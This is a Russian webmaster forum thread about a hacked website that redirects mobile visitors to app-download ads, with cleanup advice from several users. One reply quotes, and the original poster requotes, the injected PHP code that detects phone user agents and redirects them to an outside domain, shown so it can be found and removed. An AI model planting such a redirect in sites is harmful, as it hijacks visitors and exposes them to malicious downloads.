Заражен сайт помогите

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:42

Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Позитивный человек

moretz-rf

Сообщений: 267 Регистрация: Апр 2013

14 Апреля 2013 23:50

Цитата

Позитивчег пишет:
Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

Изменено: moretz-rf - 14 Апреля 2013 23:51

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:53

Вы скажите по сути в чем проблема именно где может скрипт залит, но я ничего не нашел

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:06

Цитата
Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

При чем тут вообще хостинг?? Тем более за такую баснословную цену. Или лишь бы ляпнуть что нибудь?
Автору - поищите заразу в .htaccess. Даже если у главного домена на хостинге там зараза сидит, то и дополнительные домены все будут редиректить на мобильную хрень. Потом поменяйте пароли на фтп и на хостинге

Coder

Сообщений: 10549 Регистрация: Мар 2013

15 Апреля 2013 00:06

1. проверьте тщательно компы, с которых подсоединяетесь к сайту - фтп, антивирусными программами
2. Удалите из фтп клиентов все сохраненные пароли.
3. Поменяйте все фтп пароли.
4. проверьте все файлы, особенно вновь измененные и сравните с эталонными от СМС
5. Проверьте все js скрипты
6. скачайте скрипт Ай-Болит: revisium.com/ai/
7. примерно так. если шаблон шарезный или нуленая смс, то обратите внимание - вредоносное может быть зашито в них изначально.

Дополнительно по ай-болиту: revisium.com/kb/scan_site_windows.html

Изменено: Coder - 15 Апреля 2013 00:10

✓ Проверенные скрипты и полезности для сайта

✓ Курсы

✓ Сервис временных ссылок

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

обновлял полностью все файлы ничего не помогает в том числе и htaccess, при заходе с тела сразу редирект на вирусняк

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

хостинг moyhosting.com

Coder

Сообщений: 10549 Регистрация: Мар 2013

15 Апреля 2013 00:13

По ай-болиту посмотрите еще здесь: revisium.com/kb/virusonsite.html

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:16

Айболит чет мне не помог. Больше минуты не сканирует, а файлов много и не успевал за это время. Приходилось вручную искать

Coder

Сообщений: 10549 Регистрация: Мар 2013

#10

15 Апреля 2013 00:24

Цитата
mazesk пишет: Приходилось вручную искать

Все механизированные средства лишь дополнения к работе самого человека. Но при неприятности лучше воспользоваться всем, что имеется - больше вероятность качества.

fortnoxby

Сообщений: 390 Регистрация: Авг 2012

#11

15 Апреля 2013 00:27

Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

Coder

Сообщений: 10549 Регистрация: Мар 2013

#12

15 Апреля 2013 00:28

Цитата
mazesk пишет: поищите заразу в .htaccess

Редирект может быть и средствами php и js : htaccesstools.com/articles/redirection/

mazesk

Сообщений: 105 Регистрация: Янв 2013

#13

15 Апреля 2013 00:30

Да я ж не против

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

#14

15 Апреля 2013 00:33

Цитата

fortnoxby пишет:
Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

да действительно есть такое) интересно как оно туда попало?

Coder

Сообщений: 10549 Регистрация: Мар 2013

#15

15 Апреля 2013 00:33

Цитата
mazesk пишет: Да я ж не против

Я это к тому, что лучше бы везде искать, и сразу по всем возможным направлениям.

Похожие темы:

23.02.2020 20:28	Перевод сайта на англ.язык
28.07.2019 09:45	Перенос описания категории вниз сайта, под посты
26.06.2019 18:48	Сайт неправильно отдаёт 404
17.06.2019 09:37	Помощь по сайту
29.04.2019 19:19	Не работает код с сайта issuu

Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
19:04 Gambling Craft - гемблинг по белому 17:27 Нужна помощь советом! 16:07 Работаем в P2P платежах BYBIT \| USDT - RUB , RUB - USDT \| Ищем постоянных клиентов , выгодные условия. 10:44 AntiBot Cloud - бесплатный скрипт и сервис защиты сайтов 20:13 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 19:41 25$ (ежемесячно) AdSense 21:39 Подскажите где продвигать сайт.	17:19 Куплю сайты генератор-вакансий, каталог компаний. 15:58 BestChange – обменивать электронную валюту можно быстро и выгодно 15:31 Waretizer.pw — Монетизация десктопного трафика по CPI! 14:38 PHONE FLOOD BOT - Бот флуда телефонов 13:38 Belurk — высокоскоростные анонимные прокси от 0,24 рублей 13:30 Whatsapp рассылки и реселлерская программа 13:23 Продам аккаунты Gmail USA IP \| Gmail MIX IP \| Outlook Old	23:01 Точные прогнозы на футбол 23:47 Добро пожаловать в цифровой мир... 22:39 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор 11:58 Куплю проигрышные букмекерские аккаунты 00:12 Огородники 10:59 Новости искусственного интеллекта 04:26 Хром ругается на форум